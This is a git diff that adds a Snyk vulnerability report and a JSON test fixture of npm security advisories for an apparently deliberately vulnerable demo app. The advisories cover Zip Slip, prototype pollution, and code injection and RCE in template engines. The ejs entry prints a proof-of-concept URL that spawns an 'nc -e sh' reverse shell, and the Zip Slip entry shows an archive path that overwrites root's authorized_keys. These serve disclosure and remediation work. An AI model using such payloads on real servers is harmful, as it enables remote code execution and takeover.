+
+

Code Injection

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + dustjs-linkedin +
  • + +
  • Introduced through: + + goof@1.0.1 and dustjs-linkedin@2.5.0 + +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + dustjs-linkedin@2.5.0 + + + +
  • +
+ +
+ +
+ +

Overview

+

dustjs-linkedin is a Javascript templating engine designed to run asynchronously on both the server and the browser.

+

Affected versions of this package are vulnerable to Code Injection. Dust.js uses Javascript's eval() function to evaluate the "if" statement conditions. The input to the function is sanitized by escaping all potentially dangerous characters.

+

However, if the variable passed in is an array, no escaping is applied, exposing an easy path to code injection. The risk of exploit is especially high given the fact express, koa and many other Node.js servers allow users to force a query parameter to be an array using the param[]=value notation.

+

Remediation

+

Upgrade dustjs-linkedin to version 2.6.0 or higher.

+

References

+ + +
+ + + +
+
+

Prototype Pollution

+
+ +
+ high severity +
+ +
+ +
    +
  • + Package Manager: npm +
  • +
  • + Vulnerable module: + + ajv +
  • + +
  • Introduced through: + + + goof@1.0.1, tap@11.1.5 and others +
  • +
+ +
+ + +

Detailed paths

+ +
    +
  • + Introduced through: + goof@1.0.1 + + tap@11.1.5 + + coveralls@3.0.9 + + request@2.88.0 + + har-validator@5.1.3 + + ajv@6.10.2 + + + +
  • +
+ +
+ +
+ +

Overview

+

ajv is an Another JSON Schema Validator

+

Affected versions of this package are vulnerable to Prototype Pollution. A carefully crafted JSON schema could be provided that allows execution of other code by prototype pollution. (While untrusted schemas are recommended against, the worst case of an untrusted schema should be a denial of service, not execution of code.)

+

Details

+

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

+

There are two main ways in which the pollution of prototypes occurs:

+
    +
  • Unsafe Object recursive merge

    +
  • +
  • Property definition by path

    +
  • +
+

Unsafe Object recursive merge

+

The logic of a vulnerable recursive merge function follows the following high-level model:

+
merge (target, source)
+        
+          foreach property of source
+        
+            if property exists and is an object on both the target and the source
+        
+              merge(target[property], source[property])
+        
+            else
+        
+              target[property] = source[property]
+        
+
+ +

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

+

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

+

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

+

Property definition by path

+

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

+

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

+

Types of attacks

+

There are a few methods by which Prototype Pollution can be manipulated:

+ + + + + + + + + + + + + + + + + + + + + + + +
TypeOriginShort description
Denial of service (DoS)ClientThis is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code ExecutionClientRemote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property InjectionClientThe attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.
+

Affected environments

+

The following environments are susceptible to a Prototype Pollution attack:

+
    +
  • Application server

    +
  • +
  • Web server

    +
  • +
+

How to prevent

+
    +
  1. Freeze the prototype— use Object.freeze (Object.prototype).

    +
  2. +
  3. Require schema validation of JSON input.

    +
  4. +
  5. Avoid using unsafe recursive merge functions.

    +
  6. +
  7. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

    +
  8. +
  9. As a best practice use Map instead of Object.

    +
  10. +
+

For more information on this vulnerability type:

+

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

+

Remediation

+

Upgrade ajv to version 6.12.3 or higher.

+

References

+ + +
+ + + +
+
+
+
+ + + diff --git a/snyk-filter-test.json b/snyk-filter-test.json new file mode 100644 index 0000000000..b53b821bf1 --- /dev/null +++ b/snyk-filter-test.json @@ -0,0 +1,4771 @@ +{ + "vulnerabilities": [ + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H/E:H/RL:O/RC:C", + "alternativeIds": [ + "SNYK-JS-ADMZIP-11093" + ], + "creationTime": "2018-05-30T12:09:16.138000Z", + "credit": [ + "Snyk Security Research", + "Sébastien Mignot", + "Alex Chapman" + ], + "cvssScore": 9.4, + "description": "## Overview\n\n[adm-zip](https://www.npmjs.com/package/adm-zip) is a JavaScript implementation for zip data compression for NodeJS.\n\n\nAffected versions of this package are vulnerable to Arbitrary File Write via Archive Extraction (Zip Slip).\n\n## Details\nIt is exploited using a specially crafted zip archive, that holds path traversal filenames. When exploited, a filename in a malicious archive is concatenated to the target extraction directory, which results in the final path ending up outside of the target folder. For instance, a zip may hold a file with a \"../../file.exe\" location and thus break out of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\r\n\r\nThe following is an example of a zip archive with one benign file and one malicious file. Extracting the malicous file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\r\n\r\n```\r\n\r\n+2018-04-15 22:04:29 ..... 19 19 good.txt\r\n\r\n+2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\r\n\r\n```\n\n## Remediation\n\nUpgrade `adm-zip` to version 0.4.11 or higher.\n\n\n## References\n\n- [GitHub Commit](https://github.com/cthackers/adm-zip/commit/d01fa8c80c3a5fcf5ce1eda82d96600c62910d3f)\n\n- [GitHub Commit](https://github.com/cthackers/adm-zip/pull/212/commits/6f4dfeb9a2166e93207443879988f97d88a37cde)\n\n- [Hackerone Report](https://hackerone.com/reports/362118)\n\n- [Zip Slip Advisory](https://github.com/snyk/zip-slip-vulnerability)\n\n- [Zip Slip Advisory](https://snyk.io/research/zip-slip-vulnerability)\n", + "disclosureTime": "2018-04-14T21:00:00Z", + "exploit": "High", + "functions": [ + { + "functionId": { + "filePath": "adm-zip.js", + "className": null, + "functionName": "module.exports.getEntry" + }, + "version": [ + ">0.1.1 <0.4.11" + ] + } + ], + "fixedIn": [ + "0.4.11" + ], + "id": "npm:adm-zip:20180415", + "identifiers": { + "CWE": [ + "CWE-29" + ], + "NSP": [ + "681", + "994" + ], + "CVE": [ + "CVE-2018-1002204" + ], + "ALTERNATIVE": [ + "SNYK-JS-ADMZIP-11093" + ], + "GHSA": [ + "GHSA-3v6h-hqm4-2rg6" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2020-12-22T17:02:11.882075Z", + "moduleName": "adm-zip", + "packageManager": "npm", + "packageName": "adm-zip", + "patches": [], + "proprietary": true, + "publicationTime": "2018-05-31T07:09:16Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/cthackers/adm-zip/commit/d01fa8c80c3a5fcf5ce1eda82d96600c62910d3f" + }, + { + "title": "GitHub Commit", + "url": "https://github.com/cthackers/adm-zip/pull/212/commits/6f4dfeb9a2166e93207443879988f97d88a37cde" + }, + { + "title": "Hackerone Report", + "url": "https://hackerone.com/reports/362118" + }, + { + "title": "Zip Slip Advisory", + "url": "https://github.com/snyk/zip-slip-vulnerability" + }, + { + "title": "Zip Slip Advisory", + "url": "https://snyk.io/research/zip-slip-vulnerability" + } + ], + "severity": "critical", + "socialTrendAlert": false, + "title": "Arbitrary File Write via Archive Extraction (Zip Slip)", + "insights": { + "triageAdvice": null + }, + "functions_new": [ + { + "functionId": { + "filePath": "adm-zip.js", + "functionName": "module.exports.getEntry" + }, + "version": [ + ">0.1.1 <0.4.11" + ] + } + ], + "semver": { + "vulnerable": [ + "<0.4.11" + ] + }, + "severityWithCritical": "critical", + "from": [ + "goof@1.0.1", + "adm-zip@0.4.7" + ], + "upgradePath": [ + false, + "adm-zip@0.4.11" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "adm-zip", + "version": "0.4.7" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", + "alternativeIds": [], + "creationTime": "2020-07-16T08:19:48.462528Z", + "credit": [ + "Unknown" + ], + "cvssScore": 8.1, + "description": "## Overview\n[ajv](https://www.npmjs.com/package/ajv) is an Another JSON Schema Validator\n\nAffected versions of this package are vulnerable to Prototype Pollution. A carefully crafted JSON schema could be provided that allows execution of other code by prototype pollution. (While untrusted schemas are recommended against, the worst case of an untrusted schema should be a denial of service, not execution of code.)\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `ajv` to version 6.12.3 or higher.\n## References\n- [HackerOne Report](https://hackerone.com/bugs?subject=user&report_id=894259)\n", + "disclosureTime": "2020-07-16T08:14:41Z", + "exploit": "Not Defined", + "functions": [], + "fixedIn": [ + "6.12.3" + ], + "id": "SNYK-JS-AJV-584908", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "CVE": [ + "CVE-2020-15366" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2020-07-20T12:40:09.463832Z", + "moduleName": "ajv", + "packageManager": "npm", + "packageName": "ajv", + "patches": [], + "proprietary": false, + "publicationTime": "2020-07-16T13:58:04Z", + "references": [ + { + "title": "HackerOne Report", + "url": "https://hackerone.com/bugs?subject=user&report_id=894259" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<6.12.3" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "coveralls@3.0.9", + "request@2.88.0", + "har-validator@5.1.3", + "ajv@6.10.2" + ], + "upgradePath": [ + false, + "tap@11.1.5", + "coveralls@3.0.9", + "request@2.88.0", + "har-validator@5.1.3", + "ajv@6.12.3" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "ajv", + "version": "6.10.2" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L/E:P/RL:U/RC:R", + "alternativeIds": [], + "creationTime": "2021-03-26T13:20:28.488477Z", + "credit": [ + "baiyecha404" + ], + "cvssScore": 8.6, + "description": "## Overview\n[dustjs-linkedin](https://www.npmjs.com/package/dustjs-linkedin) is a Javascript templating engine designed to run asynchronously on both the server and the browser.\n\nAffected versions of this package are vulnerable to Prototype Pollution. It is possible to pollute the `blocks` Array attribute of the object `context` within the `compileBlocks` function. This vulnerability can be leveraged for code execution since this property is added to the `compiled` function which is then execute by the `vm` module.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `dustjs-linkedin` to version 3.0.0 or higher.\n## References\n- [GitHub Commit](https://github.com/linkedin/dustjs/pull/805/commits/ddb6523832465d38c9d80189e9de60519ac307c3)\n- [GitHub Issue](https://github.com/linkedin/dustjs/issues/804)\n- [GitHub PR](https://github.com/linkedin/dustjs/pull/805)\n", + "disclosureTime": "2021-03-26T13:19:46Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "3.0.0" + ], + "id": "SNYK-JS-DUSTJSLINKEDIN-1089257", + "identifiers": { + "CWE": [ + "CWE-1321" + ], + "CVE": [] + }, + "language": "js", + "malicious": false, + "modificationTime": "2021-10-21T09:08:02.641971Z", + "moduleName": "dustjs-linkedin", + "packageManager": "npm", + "packageName": "dustjs-linkedin", + "patches": [], + "proprietary": false, + "publicationTime": "2021-04-26T16:18:43Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/linkedin/dustjs/pull/805/commits/ddb6523832465d38c9d80189e9de60519ac307c3" + }, + { + "title": "GitHub Issue", + "url": "https://github.com/linkedin/dustjs/issues/804" + }, + { + "title": "GitHub PR", + "url": "https://github.com/linkedin/dustjs/pull/805" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<3.0.0" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "dustjs-linkedin@2.5.0" + ], + "upgradePath": [ + false, + "dustjs-linkedin@3.0.0" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "dustjs-linkedin", + "version": "2.5.0" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L", + "alternativeIds": [ + "SNYK-JS-DUSTJSLINKEDIN-10136" + ], + "creationTime": "2016-09-14T00:00:00Z", + "credit": [ + "Michael Stepankin" + ], + "cvssScore": 8.6, + "description": "## Overview\n[dustjs-linkedin](https://www.npmjs.com/package/dustjs-linkedin) is a Javascript templating engine designed to run asynchronously on both the server and the browser.\n\nAffected versions of this package are vulnerable to Code Injection. Dust.js uses Javascript's `eval()` function to evaluate the \"if\" statement conditions. The input to the function is sanitized by escaping all potentially dangerous characters.\r\n\r\nHowever, if the variable passed in is an array, no escaping is applied, exposing an easy path to code injection. The risk of exploit is especially high given the fact `express`, `koa` and many other Node.js servers allow users to force a query parameter to be an array using the `param[]=value` notation.\n## Remediation\nUpgrade `dustjs-linkedin` to version 2.6.0 or higher.\n## References\n- [Artsploit Blog](https://artsploit.blogspot.co.il/2016/08/pprce2.html)\n- [GitHub Commit](https://github.com/linkedin/dustjs/pull/534/commits/884be3bb3a34a843e6fb411100088e9b02326bd4)\n- [GitHub Issue](https://github.com/linkedin/dustjs/issues/741)\n- [GitHub PR](https://github.com/linkedin/dustjs/pull/534)\n", + "disclosureTime": "2015-01-09T00:00:00Z", + "exploit": "Not Defined", + "functions": [], + "fixedIn": [ + "2.6.0" + ], + "id": "npm:dustjs-linkedin:20160819", + "identifiers": { + "CWE": [ + "CWE-95" + ], + "ALTERNATIVE": [ + "SNYK-JS-DUSTJSLINKEDIN-10136" + ], + "CVE": [] + }, + "language": "js", + "malicious": false, + "modificationTime": "2020-12-14T14:40:58.977005Z", + "moduleName": "dustjs-linkedin", + "packageManager": "npm", + "packageName": "dustjs-linkedin", + "patches": [], + "proprietary": false, + "publicationTime": "2016-09-14T00:00:00Z", + "references": [ + { + "title": "Artsploit Blog", + "url": "https://artsploit.blogspot.co.il/2016/08/pprce2.html" + }, + { + "title": "GitHub Commit", + "url": "https://github.com/linkedin/dustjs/pull/534/commits/884be3bb3a34a843e6fb411100088e9b02326bd4" + }, + { + "title": "GitHub Issue", + "url": "https://github.com/linkedin/dustjs/issues/741" + }, + { + "title": "GitHub PR", + "url": "https://github.com/linkedin/dustjs/pull/534" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Code Injection", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<2.6.0" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "dustjs-linkedin@2.5.0" + ], + "upgradePath": [ + false, + "dustjs-linkedin@2.6.0" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "dustjs-linkedin", + "version": "2.5.0" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P", + "alternativeIds": [], + "creationTime": "2022-04-26T09:01:03.387695Z", + "credit": [ + "evi0s" + ], + "cvssScore": 8.1, + "description": "## Overview\n[ejs](https://www.npmjs.com/package/ejs) is a popular JavaScript templating engine.\n\nAffected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the `view options` parameter of `renderFile`, which makes it possible to inject code into `outputFunctionName`.\r\n\r\n\r\n**Note:**\r\nThis vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.\r\n\r\n## PoC:\r\nCreation of reverse shell:\r\n```\r\nhttp://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s\r\n```\n## Remediation\nUpgrade `ejs` to version 3.1.7 or higher.\n## References\n- [GitHub Commit](https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf)\n- [GitHub Issue](https://github.com/mde/ejs/issues/451)\n- [GitHub Release](https://github.com/mde/ejs/releases)\n- [Security Advisory](https://eslam.io/posts/ejs-server-side-template-injection-rce/)\n", + "disclosureTime": "2022-04-26T08:36:18Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "3.1.7" + ], + "id": "SNYK-JS-EJS-2803307", + "identifiers": { + "CWE": [ + "CWE-94" + ], + "CVE": [ + "CVE-2022-29078" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-04-26T13:41:31.873315Z", + "moduleName": "ejs", + "packageManager": "npm", + "packageName": "ejs", + "patches": [], + "proprietary": false, + "publicationTime": "2022-04-26T13:41:31.870922Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf" + }, + { + "title": "GitHub Issue", + "url": "https://github.com/mde/ejs/issues/451" + }, + { + "title": "GitHub Release", + "url": "https://github.com/mde/ejs/releases" + }, + { + "title": "Security Advisory", + "url": "https://eslam.io/posts/ejs-server-side-template-injection-rce/" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Remote Code Execution (RCE)", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<3.1.7" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "ejs@1.0.0" + ], + "upgradePath": [ + false, + "ejs@3.1.7" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "ejs", + "version": "1.0.0" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", + "alternativeIds": [ + "SNYK-JS-EJS-10218" + ], + "creationTime": "2016-11-28T18:44:12.405000Z", + "credit": [ + "Snyk Security Research Team" + ], + "cvssScore": 8.1, + "description": "## Overview\r\n[`ejs`](https://www.npmjs.com/package/ejs) is a popular JavaScript templating engine.\r\nAffected versions of the package are vulnerable to _Remote Code Execution_ by letting the attacker under certain conditions control the source folder from which the engine renders include files.\r\nYou can read more about this vulnerability on the [Snyk blog](https://snyk.io/blog/fixing-ejs-rce-vuln).\r\n\r\nThere's also a [Cross-site Scripting](https://snyk.io/vuln/npm:ejs:20161130) & [Denial of Service](https://snyk.io/vuln/npm:ejs:20161130-1) vulnerabilities caused by the same behaviour. \r\n\r\n## Details\r\n`ejs` provides a few different options for you to render a template, two being very similar: `ejs.render()` and `ejs.renderFile()`. The only difference being that `render` expects a string to be used for the template and `renderFile` expects a path to a template file.\r\n\r\nBoth functions can be invoked in two ways. The first is calling them with `template`, `data`, and `options`:\r\n```js\r\nejs.render(str, data, options);\r\n\r\nejs.renderFile(filename, data, options, callback)\r\n```\r\nThe second way would be by calling only the `template` and `data`, while `ejs` lets the `options` be passed as part of the `data`:\r\n```js\r\nejs.render(str, dataAndOptions);\r\n\r\nejs.renderFile(filename, dataAndOptions, callback)\r\n```\r\n\r\nIf used with a variable list supplied by the user (e.g. by reading it from the URI with `qs` or equivalent), an attacker can control `ejs` options. This includes the `root` option, which allows changing the project root for includes with an absolute path. \r\n\r\n```js\r\nejs.renderFile('my-template', {root:'/bad/root/'}, callback);\r\n```\r\n\r\nBy passing along the root directive in the line above, any includes would now be pulled from `/bad/root` instead of the path intended. This allows the attacker to take control of the root directory for included scripts and divert it to a library under his control, thus leading to remote code execution.\r\n\r\nThe [fix](https://github.com/mde/ejs/commit/3d447c5a335844b25faec04b1132dbc721f9c8f6) introduced in version `2.5.3` blacklisted `root` options from options passed via the `data` object.\r\n\r\n## Disclosure Timeline\r\n- November 27th, 2016 - Reported the issue to package owner.\r\n- November 27th, 2016 - Issue acknowledged by package owner.\r\n- November 28th, 2016 - Issue fixed and version `2.5.3` released.\r\n\r\n## Remediation\r\nThe vulnerability can be resolved by either using the GitHub integration to [generate a pull-request](https://snyk.io/org/projects) from your dashboard or by running `snyk wizard` from the command-line interface.\r\nOtherwise, Upgrade `ejs` to version `2.5.3` or higher.\r\n\r\n## References\r\n- [Snyk Blog](https://snyk.io/blog/fixing-ejs-rce-vuln)\r\n- [Fix commit](https://github.com/mde/ejs/commit/3d447c5a335844b25faec04b1132dbc721f9c8f6)", + "disclosureTime": "2016-11-27T22:00:00Z", + "exploit": "Not Defined", + "functions": [ + { + "functionId": { + "filePath": "lib/ejs.js", + "className": null, + "functionName": "cpOptsInData" + }, + "version": [ + ">=2.2.1 <2.5.3" + ] + }, + { + "functionId": { + "filePath": "ejs.js", + "className": null, + "functionName": "1.cpOptsInData" + }, + "version": [ + ">=2.2.1 <2.5.3" + ] + }, + { + "functionId": { + "filePath": "ejs.js", + "className": null, + "functionName": "1.exports.render" + }, + "version": [ + "<2.2.1" + ] + }, + { + "functionId": { + "filePath": "lib/ejs.js", + "className": null, + "functionName": "exports.render" + }, + "version": [ + "<2.2.1" + ] + } + ], + "fixedIn": [ + "2.5.3" + ], + "id": "npm:ejs:20161128", + "identifiers": { + "CWE": [ + "CWE-94" + ], + "ALTERNATIVE": [ + "SNYK-JS-EJS-10218" + ], + "CVE": [ + "CVE-2017-1000228" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2020-12-14T14:41:49.346213Z", + "moduleName": "ejs", + "packageManager": "npm", + "packageName": "ejs", + "patches": [ + { + "comments": [], + "id": "patch:npm:ejs:20161128:0", + "modificationTime": "2019-12-03T11:40:45.851976Z", + "urls": [ + "https://snyk-patches.s3.amazonaws.com/npm/ejs/20161128/ejs_20161128_0_0_3d447c5a335844b25faec04b1132dbc721f9c8f6.patch" + ], + "version": "<2.5.3 >=2.2.4" + } + ], + "proprietary": true, + "publicationTime": "2016-11-28T18:44:12Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/mde/ejs/commit/3d447c5a335844b25faec04b1132dbc721f9c8f6" + }, + { + "title": "Snyk Blog", + "url": "https://snyk.io/blog/fixing-ejs-rce-vuln" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Arbitrary Code Execution", + "insights": { + "triageAdvice": null + }, + "functions_new": [ + { + "functionId": { + "filePath": "lib/ejs.js", + "functionName": "cpOptsInData" + }, + "version": [ + ">=2.2.1 <2.5.3" + ] + }, + { + "functionId": { + "filePath": "ejs.js", + "functionName": "1.cpOptsInData" + }, + "version": [ + ">=2.2.1 <2.5.3" + ] + }, + { + 